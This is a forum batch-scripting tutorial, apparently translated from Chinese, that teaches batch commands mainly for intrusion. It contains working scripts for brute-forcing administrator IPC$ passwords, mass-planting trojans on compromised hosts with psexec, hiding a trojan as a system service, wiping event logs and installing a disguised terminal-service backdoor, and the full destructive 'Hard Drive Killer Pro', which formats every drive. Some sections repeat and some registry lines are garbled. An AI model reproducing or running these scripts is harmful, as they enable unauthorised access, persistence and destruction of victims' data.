China DOS Union

Is there a batch file tutorial?

Brief Batch File Tutorial - 1


Preface

Lately, discussion of batch file techniques has been pretty hot, and quite a few good batch programs have been released too. But without a certain amount of related knowledge, I'm afraid it won't be easy to read and understand these batch files, much less write them yourself. As the old saying goes: "Giving someone fish is not as good as teaching them how to fish." Since there doesn't seem to be a fairly complete tutorial online, I took a little time to write this <> for newbie friends. It's also dedicated to all friends working to realize freedom and sharing on the network.

A batch file is an unformatted text file containing one or more commands. Its file extension is .bat or .cmd. If you type the name of the batch file at the command prompt, or double-click the batch file, the system calls Cmd.exe to run the commands in it one by one in the order they appear. Using batch files (also called batch programs or scripts) can simplify daily or repetitive tasks. Of course, the main content of our version here is to introduce some practical uses of batch files in intrusion, such as using batch files to patch systems, batch-deploy backdoor programs, etc., which we'll mention later. Now let's begin our batch file learning journey.

I. Introduction to simple batch internal commands
1.Echo command
Turns command echoing on or off, or displays a message. If used without any parameters, the echo command displays the current echo setting.
Syntax
echo
Sample：@echo off / echo hello world
In actual use we combine this command with redirection symbols (also called pipe symbols, usually > >> ^) to input some commands into files in a specific format. This will be shown in later examples.

2.@ command
This means do not display the command following the @. During intrusion (for example, using a batch file to format the enemy's hard disk), naturally you can't let the other side see the commands you're using.
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (the format command cannot use the /y parameter, but fortunately Microsoft left us the autoset parameter, and it works the same as /y.)

3.Goto command
Specifies a jump to a label. After finding the label, the program processes commands starting from the next line.
Syntax：goto label （label is a parameter specifying the line in the batch program to jump to.）
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms (If you don't understand if, %1, %2 here, skip over it for now; there will be a detailed explanation later.)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
You can name labels however you want, but it's best to use meaningful letters. Put a : in front to indicate that this is a label; the goto command looks for this : to decide where to jump next. It's best to add some explanation so others can understand your intent.

4.Rem command
Comment command. In C language it's equivalent to /*--------*/. It won't be executed; it only serves as a comment, making it easier for others to read and for you to modify later.
Rem Message
Sample：@Rem Here is the description.

5.Pause command
When the Pause command runs, it displays the following message:
Press any key to continue . . .
Sample：
@echo off
:begin
copy a:*.* d：\back
echo Please put a new disk into driver A
pause
goto begin
In this example, all files on the disk in drive A are copied to d:\back. The displayed prompt asks you to put another disk into drive A, and the pause command suspends the program so you can change disks, then press any key to continue processing.

6.Call command
Calls one batch program from another without terminating the parent batch program. The call command accepts a label as the call target. If you use Call outside a script or batch file, it will not work at the command line.
Syntax
call FileName ] ]
Parameters
FileName
Specifies the location and name of the batch program to call. The filename parameter must have a .bat or .cmd extension.

7.start command
Calls an external program. All DOS commands and command-line programs can be called with the start command.
Common parameters for intrusion:
MIN start with the window minimized
SEPARATE start 16-bit Windows program in a separate space
HIGH start application in HIGH priority class
REALTIME start application in REALTIME priority class
WAIT start the application and wait for it to end
parameters these are parameters passed to the command/program
When the application executed is a 32-bit GUI application, CMD.EXE returns to the command prompt without waiting for the application to terminate. If executed inside a command script, this new behavior does not occur.
8.choice command
With this command, choice lets the user enter a character so different commands can be run. When using it, you should add the /c: parameter; after c: write the characters that can be entered, with no spaces in between. Its return codes are 1234...
For example: choice /c:dme defrag,mem,end
It will display
defrag,mem,end?
Sample：
The contents of Sample.bat are as follows:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （you should test the highest error code first）
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

After this file runs, it will display defrag,mem,end? The user can choose d m e, then the if statements make the judgment: d means execute the section labeled defrag, m means execute the section labeled mem, e means execute the section labeled end. At the end of each section, goto end jumps the program to the end label, then the program displays good bye, and the file ends.

9.If command

if means it will determine whether specified conditions are met, so as to decide which command to execute. There are three formats:
1、if "parameter" == "string" 　command to execute
If the parameter equals the specified string, the condition is true and the command runs; otherwise the next line runs. (Note there are two equal signs)
For example if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist filename　 command to execute
If the specified file exists, the condition is true and the command runs; otherwise the next line runs.
For example if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel number　 command to execute
If the return code equals the specified number, the condition is true and the command runs; otherwise the next line runs.
For example if errorlevel 2 goto x2 　
When a DOS program runs, it returns a number to DOS, called an error code errorlevel or return code. Common return codes are 0 and 1.

10.for command
The for command is a relatively complex command, mainly used to execute commands in a loop with parameters within a specified range.
When using the FOR command in a batch file, use %%variable to specify variables

for {%variable|%%variable} in (set) do command
%variable specifies a single-letter replaceable parameter.
(set) specifies one or a set of files. Wildcards may be used.
command specifies the command to execute for each file.
command-parameters specifies parameters or command-line switches for a specific command.
When using the FOR command in a batch file, use %%variable to specify variables
and not %variable. Variable names are case-sensitive, so %i is different from %I

If command extensions are enabled, the following additional FOR command formats are
supported:

FOR /D %variable IN (set) DO command

If the set contains wildcards, it specifies matching directory names, not file
names.

FOR /R path] %variable IN (set) DO command

path, pointing to each directory in
the FOR statement. If no directory is specified after /R, the current
directory is used. If the set is just a single dot (.) character, that directory tree is enumerated.

FOR /L %variable IN (start,step,end) DO command





%variable IN (file-set) DO command
FOR /F %variable IN ("string" DO command
FOR /F %variable IN (command) DO command

Or, if the usebackq option is present:

FOR /F %variable IN (file-set) DO command
FOR /F %variable IN ("string" DO command
FOR /F %variable IN (command) DO command

filenameset is one or more file names. Before continuing to the next
file in filenameset, each file is opened, read, and processed.
Processing consists of reading the file, breaking it into lines of text,
then parsing each line into zero or more symbols. The For loop is then called
with the variable values set to the found symbol strings. By default, /F passes
the first blank-separated symbol from each line of each file. Blank lines are skipped.
You can override the default parsing behavior by specifying the optional "options"
parameter. This quoted string consists of one or more keywords
to specify different parsing options. These keywords are:

eol=c - specifies an end-of-line comment character (just one)
skip=n - specifies the number of lines to ignore at the beginning of the file.
delims=xxx - specifies a delimiter set. This replaces the default delimiter set
of space and tab.
tokens=x,y,m-n - specifies which symbol(s) from each line are passed to each iteration
of the for itself. This causes additional variable names
to be allocated for a range. By specifying the last character
in the symbol string as an asterisk for the nth symbol,
then an additional variable will be allocated and receive the remaining text of the line
after the last symbol parsed.
usebackq - specifies that the new syntax is used in the following cases:
a back-quoted string is executed as a command and
a quoted string is taken as a literal string command and allows
double quotes to be used to enclose file names in fi

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

This will parse each line in myfile.txt, ignore lines beginning with a semicolon,
pass the second and third symbols on each line to the for body, using comma and/or
space as delimiters. Note that the statement in this for body refers to %i
to get the second symbol, %j to get the third symbol, and %k
to get all remaining symbols after the third one. For file names
with spaces, you need to enclose the file names in double quotes. To use
double quotes in this way, you also need to use the usebackq option; otherwise, double quotes
will be understood as defining a string to be parsed.

%i is specifically explained in the for statement, and %j and %k are specifically
obtained through the tokens= option. You can specify up to 26 symbols on one
tokens= line, as long as you don't try to specify a variable higher than the letter z or
Z. Remember that FOR variables are single-letter, case-sensitive, and global;
also, no more than 52 can be in use at one time.

You can also use FOR /F to analyze logic on adjacent strings;
the way to do it is to enclose the filenameset between parentheses in single quotes. In this way, that
string is treated as a single input line in one file.

Finally, you can use the FOR /F command to parse the output of a command. The method is to turn
the filenameset between parentheses into a back-quoted string. That string is treated
as a command line and passed to a child CMD.EXE whose output is captured into
memory and analyzed as a file. Therefore, the following example:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

will enumerate the names of environment variables in the current environment.

In addition, replacement of FOR variable references has been enhanced. You can now use the following
option syntax:

~I - removes any quotes(", expands %I
%~fI - expands %I to a fully qualified path name
%~dI - expands %I to a drive letter only
%~pI - expands %I to a path only
%~nI - expands %I to a file name only
%~xI - expands %I to a file extension only
%~sI - expanded path contains short names only
%~aI - expands %I to file attributes
%~tI - expands %I to file date/time
%~zI - expands %I to file size
%~$PATH:I - searches the directories listed in the PATH environment variable, and expands %I
to the first fully qualified name found. If the environment variable
is not defined, or the file is not found, this combination expands to
an empty string

Modifiers can be combined to get multiple results:

%~dpI - expands %I to a drive letter and path only
%~nxI - expands %I to a file name and extension only
%~fsI - expands %I to a full path name with short names only
%~dp$PATH:i - searches the directories listed in the PATH environment variable, and expands %I
to the drive letter and path of the first match found.
%~ftzaI - expands %I to an output line similar to DIR

In the above examples, %I and PATH may be replaced with other valid values. The %~ syntax
ends with a valid FOR variable name. Choosing capital variable names
like %I is easier to read and avoids confusion with case-insensitive combinations.

The above is MS official help. Next we'll give a few examples to specifically explain the use of the For command in intrusion.

sample2：

Using the For command to carry out a brute-force password crack against a target Win2k host.
We use net use \\ip\ipc$ "password" /u:"administrator" to try connecting to the target host, and when successful we record the password.
The main command is just one line: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
Use i% to represent the admin password; take the value of i% from dict.txt and use the net use command to connect. Then pass the program's result to the find command --
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，and that's it.

sample3：

Have you ever had a large number of meat machines in your hands just waiting for you to plant backdoors + trojans on them? When the number gets especially large, something that was originally very enjoyable can become really depressing . At the beginning of this article I mentioned that using batch files can simplify daily or repetitive tasks. So how do you do that? Hehe, keep reading and you'll understand.

There is really only one main command:
(when using the FOR command in a batch file, specify variables with %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
For the use of tokens, please see sample1 above. Here it means passing the contents of victim.txt in order to the parameters %i %j %k in door.bat.
And cultivate.bat is nothing more than using the net use command to establish an IPC$ connection, then copy trojans + backdoors to victim, and use the return code (If errorlever =) to filter out the hosts where backdoors were successfully planted, then echo them out, or echo them to a specified file.
delims= means the contents in vivtim.txt are separated by spaces. I think by the time you've read this, you certainly understand what the contents in victim.txt look like. They should be arranged according to the objects represented by %%i %%j %%k, generally ip password username.
Code prototype:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
This is only a prototype of an automatic backdoor-planting batch file. The two batch files plus the backdoor program (Windrv32.exe) and PSexec.exe need to be placed in the same directory. The contents of the batch files
can still be expanded, for example: add functionality to clear logs + DDOS, add functionality to add users on a schedule, and more deeply, make it capable of self-propagation (worm). I won't say more here; interested friends can research it themselves.

Brief Batch File Tutorial - 2


No.2
II. How to use parameters in batch files
Parameters can be used in batch processing, generally from 1% to 9%, these nine. When there are many parameters, shift is needed to move them, but that situation is not very common, so we won't consider it here.
sample1：fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
This example is used to continuously format several floppy disks, so when using it you need to enter fomat.bat a in the dos window. Hehe, that seems a bit like drawing legs on a snake~^_^
sample2：
When we want to establish an IPC$ connection we always have to type a long string of commands, and if we're not careful we'll mistype something. So why not write some fixed commands into a batch file, and pass the meat machine's ip password username as parameters to that batch file? That way we don't have to type commands every time.
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" Note, PASSWORD is the second parameter here.
@if errorlevel 1 echo connection failed
How about it, using parameters is fairly simple, right? Since you're so handsome, you must have learned it already ^_^.No.3
III. How to use compound commands (Compound Command)

1.&

Usage：first command & second command

Using this method you can execute multiple commands at the same time, regardless of whether the commands execute successfully

Sample：
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage：first command && second command

Using this method you can execute multiple commands at the same time. When a command that executes with an error is encountered, the following commands will not be executed. If there are no errors, it will continue until all commands are executed.

Sample：
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

This kind of command may be used during backup and is relatively simple, for example:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup
If the file backup.mdb exists on the remote server, the copy command is executed; if the file does not exist, then copy is not executed. This usage can replace IF exist

3.||

Usage：first command || second command

Using this method you can execute multiple commands at the same time. When a command that executes correctly is encountered, the following commands will not be executed. If no command executes correctly, then all commands will be executed to the end.

Sample：
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

Example of using compound commands:
sample：
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

Brief Batch File Tutorial - 3


No.4
IV. Using pipe commands

1.| command
Usage：first command | second command
Uses the result of the first command as a parameter for the second command. I remember this way is very common in unix.

sample：
time /t>>D:\IP.log
netstat -n -p tcp|find ":3389">>D:\IP.log
start Explorer
Can you see it? Terminal Services lets us customize the startup program for users, so we can make the user run the following bat to obtain the logged-in user's IP.

2.>、>> output redirection commands
Redirect the output result of a command or some program to a specific file. The difference between > and >> is that > clears the original contents of the file and then writes the specified file, while >> only appends content to the specified file without changing the existing contents.

sample1：
echo hello world>c:\hello.txt (stupid example?)

sample2:
DLL trojans are very popular these days. We know system32 is a great place to play hide-and-seek, and many trojans squeeze their way in there; DLL trojans are no exception. With that in mind, after installing the system and necessary applications, we can make a record of the EXE and DLL files in that directory:
Run CMD -- change directory to system32 -- dir *.exe>exeback.txt & dir *.dll>dllback.txt,
this records the names of all EXE and DLL files separately in exeback.txt and dllback.txt.
If something abnormal is found later but the problem cannot be detected with traditional methods, then you should consider whether a DLL trojan has already sneaked into the system.
At that point, use the same command to record the EXE and DLL files under system32 into another exeback1.txt and dllback1.txt, then run:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(Use the FC command to compare the DLL and EXE files from before and after, and output the results to diff.txt.) In this way, we can find some extra DLL and EXE files, then by checking creation time, version, whether they were compressed, etc., it becomes relatively easy to determine whether a DLL trojan has already visited the system. Best if there isn't one; if there is, don't DEL it directly. First use regsvr32 /u trojan.dll to unregister the backdoor DLL file, then move it to the Recycle Bin. If the system shows no abnormal response, then delete it completely or submit it to an antivirus company.

3.& 、<&
& writes the output of one handle into the input of another handle.
>Sample.reg

@echo >Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg


samlpe2:
When using some relatively old trojans now, they may generate a key value under in the registry to achieve trojan auto-start. But this easily exposes the path of the trojan program, which leads to the trojan being detected and removed. Relatively speaking, registering the trojan program as a system service is somewhat safer. Below, take a configured IRC trojan DSNX as an example (named windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll

@REM
@REM

No.6
VI. Wonderful examples.
1.Batch file for deleting the default shares of win2k/xp systems
------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off

:Rem check parameters if null show usage.
if {%1}=={} goto :Usage

:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo >> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END

:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ ☆
echo.
echo Author：Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error：Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance，to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ，Please chang it youself.
echo.
echo example：
echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF

:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.

:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------


2.Batch file for fully hardening the system (patching the meat machine)
------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo Windows Registry Editor Version 5.00 >patch.dll
@echo >>patch.dll

@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM

@echo >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM

@echo >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM

@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM

@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM
@regedit /s patch.dll

------------------------ cut here then save as .bat or .cmd file ---------------------------

The commands below clear all logs on the meat machine, disable some dangerous services, and modify the meat machine's terminal service to leave a back route.
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem


@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM

@echo >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo

>>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM

3.Hard Drive Killer Pro Version 4.0 (It really isn't easy to play with batch files to this level.)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2" do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt" do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

Brief Batch File Tutorial - 5


No.6
VI. Wonderful examples.
1.Batch file for deleting the default shares of win2k/xp systems
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off

:Rem check parameters if null show usage.
if {%1}=={} goto :Usage

:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo >> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END

:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ ☆
echo.
echo Author：Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error：Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance，to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ，Please chang it youself.
echo.
echo example：
echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF

:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.

:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------


2.Batch file for fully hardening the system (patching the meat machine)
------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo Windows Registry Editor Version 5.00 >patch.dll
@echo >>patch.dll

@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM

@echo >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM

@echo >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM

@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo >>patch.dll
